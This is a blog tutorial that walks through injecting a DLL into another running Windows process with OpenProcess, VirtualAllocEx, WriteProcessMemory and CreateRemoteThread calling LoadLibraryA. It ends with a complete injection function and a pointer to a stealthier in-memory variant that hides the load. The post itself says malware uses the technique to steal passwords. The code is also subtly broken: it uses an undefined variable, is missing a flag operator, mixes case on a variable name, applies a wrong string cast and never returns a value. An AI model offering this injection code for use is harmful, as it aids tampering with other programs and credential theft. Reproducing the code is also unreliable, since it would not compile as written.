DLL Injection using LoadLibrary() API

Before we dive into the concept of DLL injection its important to know the basics, So let’s start with what is a DLL? and why are they used so widely?

Dynamically Linked Library or DLL is are the files written to add features to an application. DLL’s contain code and data that can be used by multiple processes at the same time. A DLL promotes modular structure and user understandability.

DLL Injection:

DLL injection is a technique used to forcibly inject a code in the form of a DLL in the address space of another process and make that process execute the code of the DLL which hinders the actual working of that process hence behaviour of the process is influenced by the injected DLL.

DLL injections can also be used to add extra features to an application or even to patch an application without actually having need to stop or shut down that application.

DLL injections are so commonly used by malwares to steal passwords from textbox’s, view sensitive information and to perform other malicious tasks.

There are multiple ways to inject a DLL into a process, In this post I will be teaching the most common method for performing DLL injection using the LoadLibrary() API .

So just imagine that we have a process to which we need to inject a DLL, What all do we need to do to inject the DLL to that running process?

The following steps are followed for injecting the DLL to the running process:

  • Getting the handle of the target process.
  • Finding the pointer to the path of the DLL which will be injected.
  • Allocating enough memory in the process to inject the DLL.
  • Copying the name of the DLL to the allocated memory.
  • Making the process execute that DLL.

Getting the handle of the process:

To get the handle of the process we use the OpenProcess() API.

HANDLE p_handle = OpenProcess(PROCESS_ALL_ACCESS,
                             FALSE, 
                             pid);

Here pid is the process id of the process in which we have to inject the DLL. The p_handle variable will receive the handle returned by the function.

Getting the handle of the DLL:

Now we have to get the DLL we have to first get its full path. For that we will use the GetFullPathNameA() API.

char full_path[MAX_PATH];

GetFullPathNameA(dll_path,
                 MAX_PATH, 
                 full_path,
                 NULL);

Here the Dll_Path is the path of the DLL in system, the return value of GetFullPAthNameA() will be stored in Full_Path variable.

Allocating Memory in the process:

In our case we only have to allocate enough memory in the process to inject the entry address of the DLL. We will be using the VirtualAllocEx() API to allocate the required memory.

dll_address = VirtualAllocEx(p_handle,
                             NULL,
                            MAX_PATH, MEM_COMMIT | MEM_RESERVE,
                            PAGE_READWRITE);

The dll_address will receive the base address of the allocated region.

Writing the DLL path to Memory:

Now we write the address of the DLL to the allocated memory in the process. We will use WriteProcessMemory() API.

WriteProcessMemory(p_handle,
                   dll_address,
                   full_path,
                   strlen(full_path), 
                   NULL);

The WriteProcessMemory() will write the path of the DLL that is to be injected in the memory.

Making the process Execute the DLL:

Now we have to make the process execute our injected DLL, First we have to find the address of LoadLibraryA() API, it is obtained from Kernel32.dll using the GetProcessAddress() API. We will then create a remote thread with its start address as the address of LoadLibraryA() API.

loadLibrary_address = GetProcAddress(
                      GetModuleHandle((LPCWSTR)"Kernel32"),
                      (LPCSTR)"LoadLibraryA");

thread_handle = CreateRemoteThread(p_handle,
                                   NULL, 0, 
                                   loadLibrary_address,
                                   dll_Address,
                                   0,
                                   NULL);

WaitForSingleObject(thread_handle, INFINITE);

The LoadLibraryA() API has the full path of the DLL as the argument thus loading the DLL at the address space of the process. The WaitForSingleObject() API is used to halt the program until the execution of the thread is finished.

Entire Code:

Below I have written the code of the entire function that can be used to perform DLL injection to a process. It takes the pointer to path of the DLL and pid of the process as the arguments.

Handle InjectDll(char *process_path, int pid)
{
   HANDLE p_handle = OpenProcess(PROCESS_ALL_ACCESS,
                                 TRUE,
                                 pid);
   
   char full_path[MAX_PATH];

   GetFullPathNameA(dll_path,
                    MAX_PATH,
                    full_path,
                    NULL);
    
   LPVOID dll_address = VirtualAllocEx(p_handle, 
                                       NULL, 
                                       MAX_PATH, 
                                       MEM_COMMIT 
                                       MEM_RESERVE,
                                       PAGE_READWRITE);

   
   WriteProcessMemory(p_handle,
                      dll_address,
                      full_path,
                      strlen(full_path), 
                   NULL);


   LPVOID loadLibrary_address = GetProcAddress(
                              GetModuleHandle((LPCWSTR)"Kernel32"),
                               (LPCSTR)"LoadLibraryA");

   HANDLE thread_handle = CreateRemoteThread(p_handle,
                                             NULL, 
                                             0, 
                       (LPTHREAD_START_ROUTINE)loadLibrary_address,
                                             dll_Address,
                                             0,
                                             NULL);

   WaitForSingleObject(thread_handle, INFINITE);
}

Remarks:

In this post I demonstrated how we can inject a DLL in a process using the LoadLibraryA API, There are other approaches to performing DLL injection as well.

Instead of using the LoadLibraryA() API and passing the name of the DLL as the argument we can directly inject the DLL by allocating enough memory in the target process and writing the entire DLL in the memory. We can find the entry point of the DLL and pass that address to the CreateRemoteThread function and execute that memory.

Injecting entire DLL is comparatively more effective than LoadLibrary() API as in the case of LoadLibrary method we can see the DLL being loaded by the process which is not the case when we write the entire DLL in memory of the process. But finding writing the entire DLL in the process and finding the correct entry point is comparatively complicated than just using LoadLibrary() for injection.

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Create a free website or blog at WordPress.com.

Up ↑

%d bloggers like this: